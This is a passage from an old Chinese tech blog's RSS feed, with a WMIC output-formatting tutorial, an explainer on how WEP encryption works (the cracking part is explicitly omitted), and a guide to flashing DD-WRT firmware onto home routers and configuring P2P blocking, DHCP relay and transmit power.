&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /format:textvaluelist.xsl goto end :single wmic /node:%1 cpu get name, caption, maxclockspeed,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; systemname /format:textvaluelist.xsl goto end :msg echo 必须指定至少一台计算机的名字。 :end <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如前所述，WMIC命令的输出结果不仅可以发送到控制台，还可以发送到XML或HTML、
MOF（Managed Object
Format）格式的文件。在安装了WMI的计算机上，MOF是WMI数据库中类和类实例的原始保存形式。下面的例子显示了如何把MACHINE4处理器
信息的查询结果输出到HTML文件，/output全局开关要求WMIC把输出发送到file1.htm，/format开关要求WMIC把原始的XML
输出转换成HTML格式。用来转换格式的XSL样式文件既可以是自定义的，也可以是任何安装了WMIC的机器上\%systemroot%
\system32\wbem文件夹下面的任意XSL文件。例如，利用csv.xsl样式文件可以把输出结果转换成CSV格式，利用htable.xsl
样式可以构造出一个包含结果数据的表格<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 是在浏览器中打开的file1.htm文件。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wmic /node:MACHINE4 /output:e:\file1.htm cpu get description,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; maxclockspeed, extclock, manufacturer,revision /format:hform.xsl <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前面已经提到，Class命令加上Get动词的默认输出是HTML格式。因此，如果要把这类命
令的输出结果保存到HTML文件，只需指定/output开关，不必加上/format开关。/record和/append全局开关也能够从WMIC命
令行截取信息，请利用WMIC的命令行帮助功能了解有关这些开关的更多信息。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果要以XML格式输出，用/translate开关和Basicxml关键词把大于符号&#8220;&gt;&#8221;和小于符号&#8220;&lt;&#8221;转换成<a target="_blank" href="http://baike.baidu.com/view/63.htm">XML</a>中有意义的字符。<br />
下面是输出XML的一个例子，输出的XML数据可导入到数据库或其他能够理解XML标记的系统。下面代码的输出中包含了WMIC命令、命令行请求参数、目标节点、全局开关以及命令执行结果。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wmic cpu get maxclockspeed /translate:basicxml /format:rawxml.xsl <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总之，WMIC是XP和.NET Server中命令行管理功能的一次重要改进，对于从命令行访问和管理WMI名称空间提供了强健的支持。虽然掌握和熟悉WMIC命令行环境需要一段时间，但只要你熟悉了它，一个系统管理的全新境界将展现在你的面前。<br />
<br />
<img src ="http://www.blogjava.net/galaxyp/aggbug/231285.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-09-26 13:56 <a href="http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEP加密详解(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Wed, 17 Sep 2008 01:48:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/229339.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/229339.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/229339.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; WLAN技术出现之后，&#8220;<a href="http://soft.yesky.com/security/" class="bluekey" target="_blank">安全</a>&#8221;就成为始终伴随在&#8220;无线&#8221;这个词身边的影子，针对无线<a href="http://product.yesky.com/net/" class="bluekey" target="_blank">网络</a>技
术中涉及的安全认证加密协议的攻击与破解就层出不穷。现在，因特网上可能有数以百计，甚至以千计的文章介绍关于怎么攻击与破解WEP，但有多少人能够真正
地成功攻破WEP的加密算法呢?下面笔者来给大家介绍一些关于WEP加密手段的知识，以及就是菜鸟只要按照步骤操作也可成功破解WEP密钥的方法。当然最
终的目的还是为了让记者做好安全设置对破解更好的进行防范。本系列文章共两篇，在第一篇里主要介绍破解WEP的方法，第二篇里介绍如何设置WLAN的安全
设置来进行更好的防范。
<p>　　<font color="#a00000">一、WEP:无线网络安全最初的保护者</font></p>
<p>　　相对于有线网络来说，通过无线局域网发送和接收数据更容易被窃听。<a href="http://design.yesky.com/" class="bluekey" target="_blank">设计</a>一
个完善的无线局域网系统，加密和认证是需要考虑的两个必不可少的安全因素。无线局域网中应用加密和认证技术的最根本目的就是使无线业务能够达到与有线业务
同样的安全等级。针对这个目标，IEEE802.11标准中采用了WEP(Wired Equivalent
Privacy:有线对等保密)协议来设置专门的安全机制，进行业务流的加密和节点的认证。它主要用于无线局域网中链路层信息数据的保密。WEP采用对称
加密机理，数据的加密和解密采用相同的密钥和加密算法。WEP 使用加密密钥(也称为 WEP 密钥)加密 802.11
网络上交换的每个数据包的数据部分。启用加密后，两个 802.11
设备要进行通信，必须具有相同的加密密钥，并且均配置为使用加密。如果配置一个设备使用加密而另一个设备没有，则即使两个设备具有相同的加密密钥也无法通
信。(如图一所示)</p>
<p align="center"><img src="http://biz.chinabyte.com/imagelist/05/07/se07059g901c.jpg" alt="" border="0" /><br />
图一:WEP加密</p>
<p>　　<strong>WEP加密过程</strong></p>
<p>　　WEP支持 64 位和128 位加密，对于 64 位加密，加密密钥为 10 个十六进制字符(0-9 和 A-F)或 5 个
ASCII 字符;对于 128 位加密，加密密钥为 26 个十六进制字符或 13 个 ASCII 字符。64 位加密有时称为 40
位加密;128 位加密有时称为 104 位加密。152 位加密不是标准 WEP
技术，没有受到客户端设备的广泛支持。WEP依赖通信双方共享的密钥来保护所传的加密数据帧。其数据的加密过程如下。</p>
<p>　　<em>1、计算校验和(Check Summing)。</em></p>
<p>　　(1)对输入数据进行完整性校验和计算。</p>
<p>　　(2)把输入数据和计算得到的校验和组合起来得到新的加密数据，也称之为明文，明文作为下一步加密过程的输入。</p>
<p>　　<em>2、加密。在这个过程中，将第一步得到的数据明文采用算法加密。对明文的加密有两层含义:明文数据的加密，保护未经认证的数据。</em></p>
<p>　　(1)将24位的初始化向量和40位的密钥连接进行校验和计算，得到64位的数据。</p>
<p>　　(2)将这个64位的数据输入到虚拟随机数产生器中，它对初始化向量和密钥的校验和计算值进行加密计算。</p>
<p>　　(3)经过校验和计算的明文与虚拟随机数产生器的输出密钥流进行按位异或运算得到加密后的信息，即密文。</p>
<p>　　<em>3、传输。将初始化向量和密文串接起来，得到要传输的加密数据帧，在无线链路上传输。(如图二所示)</em></p>
<p align="center"><img src="http://biz.chinabyte.com/imagelist/05/07/h1iq0ct0v77i.jpg" alt="" border="0" /><br />
图二:WEP加密过程</p>
<strong>&nbsp;&nbsp;&nbsp; WEP解密过程</strong>
<p>　　在安全机制中，加密数据帧的解密过程只是加密过程的简单取反。解密过程如下。</p>
<p>　　1、恢复初始明文。重新产生密钥流，将其与接收到的密文信息进行异或运算，以恢复初始明文信息。</p>
<p>　　2、检验校验和。接收方根据恢复的明文信息来检验校验和，将恢复的明文信息分离，重新计算校验和并检查它是否与接收到的校验和相匹配。这样可以保证只有正确校验和的数据帧才会被接收方接受。</p>
<p align="center"><img src="http://biz.chinabyte.com/imagelist/05/07/otk168z2de1b.jpg" alt="" border="0" /><br />
图三:WEP解密过程</p>
<p align="center"><br />
</p>
&nbsp; &nbsp; 涉及破解的部分没有转过来，所以标志也作了一些调整，对没有转过来感兴趣的可以搜一下。
<img src ="http://www.blogjava.net/galaxyp/aggbug/229339.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手</a> 2008-09-17 09:48 <a href="http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>刷出无线新生活 浅析无线路由DD-WRT功能(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html</link><dc:creator>舵手</dc:creator><author>舵手</author><pubDate>Thu, 11 Sep 2008 03:01:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/228304.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/228304.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/228304.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 网件公司最新推出的54M无线路由Netgear
KWGR614，不仅配有两根2dbi的可拆卸天线、扩充了内存，最大的特点就是支持DD－WRT功能，用户能够自己刷驱动程序，使这款产品能发挥更多的
功能。由于KWGR614软件基于LINUX内核，发烧友通过给无线路由器刷新DD-WRT驱动程序后，就可以让自己的设备发挥更多原先没有的功能，例如
无线功率可调、网桥、客户端、AP、QOS、地址绑定、VPN、WEB、FTP、HTTPS等功能也能实现。
<p>　　相信真正的无线设备爱好者一定对DD-WRT非常熟悉，但是大部分用户也许对DD－WRT功能并不是很了解。那么究竟什么是DD－WRT功能呢？又如何去实现上述这些功能呢？我们今天就和大家一起聊聊DD－WRT，希望能对大家有所帮助。</p>
<p>　　可能没有玩过DD－WRT的玩家不知道DD－WRT是什么，我们打个比方：路由器的硬件就如同我们计算机的主板、内存、硬盘等，而实际上每台无线路由都有一个<span class="yqlink"><a href="http://www.iask.com/n?k=%B2%D9%D7%F7%CF%B5%CD%B3" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="操作系统">操作系统</a></span>OS，
每个厂家的无线路由器操作系统都不相同，而且也没有对外公布代码，这就类似于windows操作系统，虽然我们可以正常使用这些无线设备，但是由于自带的
OS不能够随便修改，所以难免在实际使用上存在这样或那样的不足，可能不适合自己使用。在这种环境下DD-WRT驱动应运而生，准确的说就是有了DD-
WRT之后，每台路由的功能可以由我们自己安装、配置，挺有意思的吧。</p>
<p>　　DD-WRT的第一个版本基于Sveasoft
Inc公司的Alchemy开发出来的，而现在利用源代码进行hack并给大家带来福音的是一个叫Brain
Slayer的疑似德国人，可以通过email找到他：brainslayer@braincontrol.org。DD－WRT带来的功能非常非常的丰
富，你能想到的都有、没见过的也有，这些也是要感谢这位神秘的Brain Slayer。</p>
<p>为什么要给无线路由器刷DD-WRT？<br />
</p>
<p>&nbsp;&nbsp;&nbsp;
但是刷新DD-WRT后能够为我们冲浪和管理网络带来什么好处呢？为什么我们要冒着设备被刷坏的危险更换固件驱动呢？一台无线路由器的操作系统OS相当于
他的大脑，那么刷新DD-WRT固件就意味着给这个无线路由器洗脑。经过洗脑操作后我们的无线设备将发挥更好的作用，所支持的功能更多，运行更加稳定。</p>
<p>&nbsp;&nbsp;&nbsp;
说的更直白一点，给无线路由刷DD-WRT就是抛弃原来设备的OS，更换一个新的OS，这样的操作有点类似于硬件爱好者常用的&#8220;超频&#8221;。DD-WRT是一
个第三方固件，它广泛地应用在基于Broadcom网络芯片设计的802.11g无线路由器，它的本质是一个Linux操作系统。市面主流品牌的无线路由
器由于某些原因不可能把所有网络功能都集中到一起，而且即使功能众多也未必适合所有用户的实际需求，这也是为什么很多用户都热衷于将自己的无线路由器操作
系统刷新为DD-WRT的原因。</p>
<p>&nbsp;&nbsp;&nbsp;
这些非商业的DD-WRT固件，功能强大，同时又具有友好的Web管理/配置界面，可以提供很多&#8220;原版&#8221;路由器不支持的功能，如调整无线发射功率等。一般
刷新了DD-WRT固件，就是想让无线路由器拥有更多、更强大的功能，相比传统无线路由器来说，DD-WRT无线路由器应用范围也更广。</p>
<p>DD-WRT特有的功能主要有以下几个：</p>
<p>&nbsp;&nbsp;&nbsp; 1． 支持花生壳的DDNS。</p>
<p>&nbsp;&nbsp;&nbsp; 2． 支持VPN的PPTP客户端和PPTP服务器端设置，可以提供VPN接入。</p>
<p>&nbsp;&nbsp;&nbsp; 3． 可以通过设置，轻松管理各种网络服务，例如彻底封杀BT，电驴，<span class="yqlink"><a href="http://www.iask.com/n?k=%D1%B8%C0%D7" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="迅雷">迅雷</a></span>等。</p>
<p>&nbsp;&nbsp;&nbsp; 4． 支持UPNP和端口映射功能。</p>
<p>&nbsp;&nbsp;&nbsp; 5． 可以轻松实现无线路由器的定时开关。</p>
<p>&nbsp;&nbsp;&nbsp; 6． 可以利用Q0S、限速、限连接数等设置来优化宽带。</p>
<p>&nbsp;&nbsp;&nbsp; 7． 支持多国语言，可以搭配802.1X协议，EAP（Extensible Authentication Protocol，可扩展认证协议）来增加网络认证应用。</p>
<p>&nbsp;&nbsp;&nbsp; 8． 支持IPv6、SNMP协议，SSH服务等。</p>
<p>&nbsp;&nbsp;&nbsp; 另外，还有很多功能等待用户去发掘，这里就不一一介绍了。本文主要介绍如何将自己的无线路由器刷新成基于DD-WRT的无线路由器。</p>
<p>&nbsp;&nbsp;&nbsp; 不过有一点还是值得用户注意的，并不是所有的无线路由器都可以刷新成DD-WRT。DD-WRT支持的品牌型号很多，以下罗列出一些最常见的以供参考：</p>
<p align="center">
<table id="table1" border="1" width="68%" height="511">
    <tbody>
        <tr>
            <td align="center" width="162">品牌</td>
            <td align="center">型号</td>
        </tr>
        <tr>
            <td width="162">Allnet </td>
            <td>All0277</td>
        </tr>
        <tr>
            <td width="162">Askey </td>
            <td>RT210W</td>
        </tr>
        <tr>
            <td width="162">Asus（<span class="yqlink">
            <form class="yqin" action="http://www.iask.com/n" method="post">
                <input name="k" value="%BB%AA%CB%B6" type="hidden" />
            </form>
            <a href="http://www.iask.com/n?k=%BB%AA%CB%B6" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="华硕">华硕</a></span>）</td>
            <td>WL-500G deluxe&nbsp; <br />
            WL-500G premium&nbsp; <br />
            WL-300G </td>
        </tr>
        <tr>
            <td width="162">Belkin（贝尔金）</td>
            <td>F5D7130/7330 (2mb flash) <br />
            F5D7230-4 v1000, v1010, v1111 <br />
            F5D7230-4 v1444 (2mb flash)</td>
        </tr>
        <tr>
            <td width="162">Buffalo（巴比禄）</td>
            <td>WHR-G54S<br />
            WHR-HP-G54 <br />
            WHR-HP-G54S <br />
            WZR-RS-G54<br />
            WBR-G54 <br />
            WBR2-G54 <br />
            WBR2-G54s <br />
            WLA-G54 </td>
        </tr>
        <tr>
            <td width="162">Linksys </td>
            <td>WRT54G v1.0, v1.1, v2.0, v2.2, v3.0, v3.1, v4.0, v5.0 (2mb flash) <br />
            WRT54GL v1.0, v1.1 <br />
            WRT54GS v1.0, v1.1, v2.0, v2.1, v3.0, v4.0, v5.0 (2mb flash) <br />
            WRTSL54GS v1.0 </td>
        </tr>
        <tr>
            <td width="162">Motorola（摩托罗拉）</td>
            <td>WR850G<br />
            &nbsp;</td>
        </tr>
        <tr>
            <td width="162">Ravo </td>
            <td>W54-RT</td>
        </tr>
        <tr>
            <td width="162">Siemens（西门子）</td>
            <td>Gigaset SE505 <br />
            Gigaset SX550i</td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;&nbsp;&nbsp; 以上所列的多数无线路由器都拥有至少4MB的flash容量，所有的WRT54GS
v4.0版本之前的型号都拥有8MB的flash容量，而也有部分路由器(包括WRT54G和WRT54GS的v5.0型号)仅有2MB的flash。
DD-WRT的完整版("full vision")和迷你版("mini vision")的安装都需要4MB的flash;而微型版("micro
vision")需要2MB来安装。 </p>
<p>&nbsp;&nbsp;&nbsp; 这些支持的设备刷新DD-WRT后的效果也是有很大差别的，笔者推荐拥有Buffalo WHR G54s、Ausu WL 500G Deluxe以及Motorola WR850G这几个产品的用户刷新，其刷新后的效果最为优秀。</p>
<p>　　值得注意的几点是：1、如果用的是Linksys的WRT54G系列路由器，一定要买V4版，因为扩展性最强，而V5、V6版在硬件配置上作了
削减，V7版就更不用考虑了。不过不幸的是，Linksys在中国只生产V7版，要买V4版的只能找库存了；2、由于Linksys的官方固件对可通过
web升级的文件尺寸作了限制，因此需要先用DD-WRT的mini版本升级，之后才可以升级其他的vpn/voip等高级版本，至于用tftp、
telnet还是web就看个人偏好了；3、如果使用web方式，建议用IE浏览器，使用firefox的至少要升级到1.5.0.x版本，否则会有兼容
性问题。</p>
<p>如何刷DD-WRT？<br />
</p>
<p>　　首先，先将路由器恢复到原厂设置，然后用网线将电脑和路由器的LAN口连接，在这个步骤肯定有许多朋友会问，能否用无线来刷DD－WRT？答案是不行的。因为路由器是在启动过程中被刷新，在这个过程中无线模块是不工作的。</p>
<p>　　将电脑的IP地址手动设为固定IP地址。如buffalo系列应该设为192.168.11.X，子网掩码为255.255.255.0，网关为192.168.11.1。</p>
<p>　　&#8220;开始&#8221;菜单－－&#8220;运行&#8221;－－键入&#8221;CMD"，点击&#8220;确定&#8221;进入到命令行模式。</p>
<p>　　键入cd\&nbsp; 回车，跳到C盘的根目录下。</p>
<p>　　接下来，将下载下来的DD-WRT固件，放在C盘的根目录下。</p>
<p>&nbsp;&nbsp;&nbsp; 提示：这里需要大家注意的是，不同品牌不同型号的无线路由器可能使用的DD-WRT驱动程序也不相同，有的由于内部FLASH容量等硬件差异可能只能使用PRO特别版或者MINI袖珍版，因此一定要下载适合自己产品的DD-WRT固件驱动程序，不能混用和错用。</p>
<p>　　键入tftp命令&nbsp; tftp -i 192.168.11.1 PUT 固件名称。</p>
<p>　　因为固件名称下载下来的都比较长，你可以自己改名，比如，直接改为&#8220;dd&#8221;或者别的，也可以在键入TFTP命令之前输入DIR来查看一下。</p>
<p>　　接着拔下路由器电源，确认无误再插上。</p>
<p>　　看着路由器的灯，首先会是所有LAN口的灯都亮，然后只会有和你电脑连着的那个LAN口的灯亮着。</p>
<p>　　这时候你就要毫不犹豫的按下回车。然后又过一段时间，会出现传送数据成功的字样。如果你键入回车的时间晚了，在经过一段时间的等候，会给出一个出错的提示，你只要重新来过一遍就行，不会对你的路由器有影响。<br />
<br />
出现传送成功字样后，请等待至少3分钟，路由器不能断电，也不要对路由器有所操作。这时</p>
<p>　　等待3分钟以后，将电脑的IP设为自动获取。最后因该会获得一个192.168.1.&#215;&#215;&#215;的地址，网关因该是192.168.1.1。</p>
<p>　　然后打开IE，输入192.168.1.1 用户名为root 密码为admin。DD-wrt的界面就会出现了。</p>
<p>　　至此，刷新DD固件就完成了。<br />
</p>
<p>刷写固件注意事项：</p>
<p>不正确的固件刷新步骤将损坏您的路由器。<br />
请不要使用https连接来刷新或备份路由器固件。<br />
固件的刷新和升级应该以有线连接的方式来完成。<br />
利用无线连接刷新可能会由于先天的不稳定性而导致路由器损坏。<br />
请关掉您的<span class="yqlink"><a href="http://www.iask.com/n?k=%C9%B1%B6%BE%C8%ED%BC%FE" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="杀毒软件">杀毒软件</a></span>，不必要的<span class="yqlink"><a href="http://www.iask.com/n?k=%B2%A1%B6%BE" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="病毒">病毒</a></span>检测将会打断固件向路由器的上传。<br />
请关掉所有您系统中的无线适配器，以保证是通过有线网来进行固件的上传。</p>
<p>特色功能之多种网络接入方式<br />
</p>
<p>　　对于一般无线产品来说，外网接入方式的Internet连接类型主要有静态IP和PPPOE（ADSL）两种，对于不用拨号而且需要自动获得
IP地址的有线电视网络以及部分小区宽带网络来说就没有很好的解决办法了。然而经过刷新之后的DD-WRT设备却可以完成这样的工作，它支持更多的外网连
接方式，在DD-WRT管理界面的&#8220;设置-&gt;基本设置&#8221;处的Internet连接类型有多个选项。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(4)" src="http://image2.sina.com.cn/IT/h/2007-02-28/34aeaecbc22323fbf0749cc176f8c944.jpg" style="border: 1px solid #000000;" /><br />
DD-WRT管理界面</p>
<p>　　在DD-WRT管理界面的&#8220;设置&#8594;基本设置&#8594;Internet连接类型&#8221;中有多个选项，其中的&#8220;自动配置DHCP&#8221;适用于小区宽带网络，另外对
于企业内部网络经常要用到VPN（虚拟专用网络）来连接多个分支网络，我们可以采用&#8220;Internet连接类型&#8221;中的&#8220;PPTP&#8221;和&#8220;L2TP&#8221;，直接把
设备连接到远程VPN服务器。</p>
<p>　　通过DD-WRT的外网设置可以使外网连接更加方便，以往不能解决的小区宽带网络问题也可以轻松解决。</p>
<p>封杀BT、电驴没商量<br />
</p>
<p>　　首先声明，笔者也是狂热的BT下载爱好者，写这个功能只是出于单纯的技术角度，还希望各位看官手下留情。</p>
<p>　　高速发展的互联网带给用户极其丰富的资源，BT、电驴等P2P下载软件更是方便用户找到其想要的资源。但是这些P2P下载软件占用了大量的宽带
资源，使整个局域网的其他用户网速变慢，严重的会造成网络瘫痪。网管也为封杀BT、电驴伤透的脑筋，因为BT、电驴太不好封。封端口吧，这些软件都可以随
意改端口；封BT的tracker吧，网上tracker服务器很多封不过来；即使你封了，BT还用DHT技术，在完全不连上Tracker服务器的情况
下，也可以很好的下载。还有电驴本来不需要服务器，你封都没地方封。但是有经验的网络管理员都会在linux系统上进行封杀工作，因为linux下采用的
是比较先进的封杀技术，可以使用ipp2p或L7来封杀BT、电驴等P2P软件。</p>
<p>&nbsp;&nbsp;&nbsp; 由于DD-WRT就是一个基于linux的路由OS（也就是固件），DD-WRT也有ipp2p和L7模块，用起来比linux还方便，而且DD-WRT可以直接在WEB配置，非常直观。</p>
<p>&nbsp;&nbsp;&nbsp; 那么如何用DD-WRT封杀BT和电驴呢？</p>
<p>&nbsp;&nbsp;&nbsp; 首先，登录DD-WRT管理界面，打开&#8220;访问限制&#8221;页。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/30e24f8b2aa2d90669367b40286550f6.gif" style="border: 1px solid #000000;" /><br />
DD-WRT管理界面 访问限制页</p>
<p>&nbsp;&nbsp;&nbsp; 设置非常简单，在状态项开启这条策略，策略名可以随便取，规则选允许，日期和时间大家可以根据自己的情况设置，默认是任何时间。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/53fa8b968e7a0a40596ccb08a6478124.gif" style="border: 1px solid #000000;" /><br />
被封禁的服务</p>
<p>　　&#8220;被封禁的服务&#8221;这里，&#8220;捕获所有P2P协议&#8221;打钩，在下面的应用程序栏选上&#8220;bittorrent&#8221;和&#8220;edonkey&#8221;，你也可以加上&#8220;讯雷&#8220;、&#8220;KuGoo&#8221;等P2P软件，当然也可以根据自己实际情况自定义一些。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/8e7537940caa1d7aa21ede6fb7baf9d1.gif" style="border: 1px solid #000000;" /><br />
PC列表</p>
<p>&nbsp;&nbsp;&nbsp;
在PC列表页里编辑此策略应用的PC列表，如果你想对局域网机器全封，就在PC的IP范围里填入2~254,这样别人不管怎么改IP都不能BT、电驴；如
果你想就你一台不受限，比如你的IP是192.168.1.2,那就填入3~254；如果你就想封几台机器可以在&#8220;PC的IP地址&#8221;或&#8220;PC的MAC地址
&#8221;栏输入相应的IP或MAC地址。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(5)" src="http://image2.sina.com.cn/IT/h/2007-02-28/c4c6868f1ff68f8c6fa09aaab13c7d77.gif" style="border: 1px solid #000000;" /><br />
通过URL地址封锁Web站点</p>
<p>&nbsp;&nbsp;&nbsp;
如果你想禁止用户对BT、电驴站点的访问，可以在&#8220;通过URL地址封锁Web站点&#8221;填入BT、电驴的站点，还可以在&#8220;通过关键字封锁Web站点&#8221;填入关键
字来封锁带关键字的域名（同时封锁用户用引擎搜索这个关键字）,不要填入BT这个关键字哦，这个关键字太短，这样会使很多与BT不相关的但域名带BT这两
个字符的网站也同时被封锁。</p>
<p>新功能之DHCP转发<br />
</p>
<p>　　当企业内部拥有多台无线路由器，而提供给客户机的DHCP服务器却只有一台时，客户机要向DHCP服务器申请IP地址等网络参数就需要穿越多台
无线路由器，这对于其他无线路由器是不可能实现的，而DD-WRT则不同，DD-WRT所拥有的&#8220;DHCP转发&#8221;功能就能够&#8220;穿越&#8221;无线路由器。设置
DHCP转发参数是非常简单的，只需要指定转发到的DHCP服务器地址即可。</p>
<p>　　首先，在地址栏里输入DD-WRT的管理IP地址，回车，进入管理界面。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(6)" src="http://image2.sina.com.cn/IT/h/2007-02-28/a8dc42b43982ffff50839855241cd5c9.jpg" style="border: 1px solid #000000;" /><br />
DD-WRT管理界面</p>
<p>　　然后，点任何设置修改标签时会出现用户认证的提示，输入正确的管理员帐户名和密码后登录。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(6)" src="http://image2.sina.com.cn/IT/h/2007-02-28/2ab03e59e876f9410381fc0ff4dadcdb.jpg" style="border: 1px solid #000000;" /><br />
登录界面</p>
<p>　　之后，在设置标签的&#8220;基本设置&#8221;中我们能够看到关于&#8220;网络地址服务器设置（DHCP）&#8221;的配置参数，一般我们都是选择DHCP服务器，然后设置
相应的地址信息即可。不过由于我们需要添加DHCP转发功能，所以在DHCP类型处通过下拉菜单选定&#8220;DHCP转发器&#8221;，并指定IP地址等参数即可。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(6)" src="http://image2.sina.com.cn/IT/h/2007-02-28/94143464f0a816c5f6414746b55c5a08.jpg" style="border: 1px solid #000000;" /><br />
基本设置界面</p>
<p>　　最后点&#8220;保存设置&#8221;按钮完成DHCP转发功能的配置工作。</p>
<p>　　通过DHCP转发功能，我们实现了穿越无线路由器，减少了企业网络服务器的数量，可以用一台DHCP服务器管理多台在不同无线路由器下的计算机。</p>
<p>最实用功能之调节发射功率<br />
</p>
<p>　　无线网络的关键就是无线信号的强弱，如果一个无线路由器发射功率比较低，那么当安装了无线网卡的计算机与它距离稍远一点的话，无线信号就会非常虚弱甚至接收不到信号。那么怎样做才能让无线设备信号更强呢？ </p>
<p>&nbsp;&nbsp;&nbsp; 经过刷新之后DD-WRT无线路由就可以实现任意调节发射功率，这样我们就可以根据无线网卡距离DD-WRT无线路由器的远近来决定发射信号的强弱了。下面我们就和大家一起探讨一下如何来设置调节发射功率。</p>
<p>&nbsp;&nbsp;&nbsp; 首先，我们来看看默认情况下的接收情况。</p>
<p>&nbsp;&nbsp;&nbsp; 开启DD-WRT无线设备之后，用自己的无线网卡扫描网络中的无线信号就会看到SSID号为DD-WRT的无线网络信号强度为两格。</p>
<p align="center"><br clear="all" />
<img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/f6e81ef406a91c9d13453180e7821565.jpg" style="border: 1px solid #000000;" /><br />
默认情况下信号强度</p>
<p>&nbsp;&nbsp;&nbsp;
打开浏览器在地址栏处输入http://192.168.1.1（路由器默认地址），回车，输入登录用户名和密码，然后找到&#8220;无线&#8221;标签下的&#8220;高级设置
&#8221;，在Xmit功率处能够看到默认情况下，DD-WRT设备的发射功率为28mW，这个也是大多数无线设备的标准发射功率。从后面的提示可以看到我们能够
随意的修改这个发射功率，大小范围为0到251mW。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/bc0052216a034917311f98983eff72ba.jpg" style="border: 1px solid #000000;" /><br />
&#8220;高级设置&#8221;界面</p>
<p>&nbsp;&nbsp;&nbsp; 在本机打开无线信号扫描工具network stumbler，对当前的信号强度进行扫描，可以看到默认28mW的发射功率情况下无线网卡接收信号强度为-72dBm左右。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/6a2f8718720f25f46f0bce2dd74e8f92.jpg" style="border: 1px solid #000000;" /><br />
信号强度扫描</p>
<p>&nbsp;&nbsp;&nbsp; 接下来，让我们设置如何调解发射功率。<br />
&nbsp;<br />
&nbsp;&nbsp;&nbsp; 我们可以直接在界面里，将Xmit功率调到范围之内的任意数值，截图中显示的是调到了最大的251mW。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/d668e5172167a04a4a0bf9dc77223066.jpg" style="border: 1px solid #000000;" /><br />
信号调整到251mW</p>
<p align="left">&nbsp;&nbsp;&nbsp; 再次启动network
stumbler软件对无线网络进行扫描，会发现接收到的信号强度还是有所增加的，虽然不太明显但是至少稳定在了-70dBm，而且峰值还到达过
-68dBm左右。另外在XP系统自带的信号扫描工具中我们可以看到信号强度从原来的两格变成了三格。</p>
<p align="center"><img alt="刷出无线新生活浅析无线路由DD-WRT功能(7)" src="http://image2.sina.com.cn/IT/h/2007-02-28/326389dbcb69ce1bd86d6338d161bb80.jpg" style="border: 1px solid #000000;" /><br />
信号强度显示为三格</p>
<p align="left">　　发射功率既能增大也能减小，用户可以根据自己的实际需求来调节。</p>
<p align="left">综述</p>
<p align="left">　　以上向大家介绍了什么是DD-WRT，如何给无线路由刷DD-WRT，以及刷新之后的DD-WRT无线路由都带来了
哪些新的功能。实际上，刷新了DD-WRT固件驱动的无线路由器功能不仅仅局限于上面介绍的这些，它还拥有很多更高级的网络管理功能，诸如开启强大的
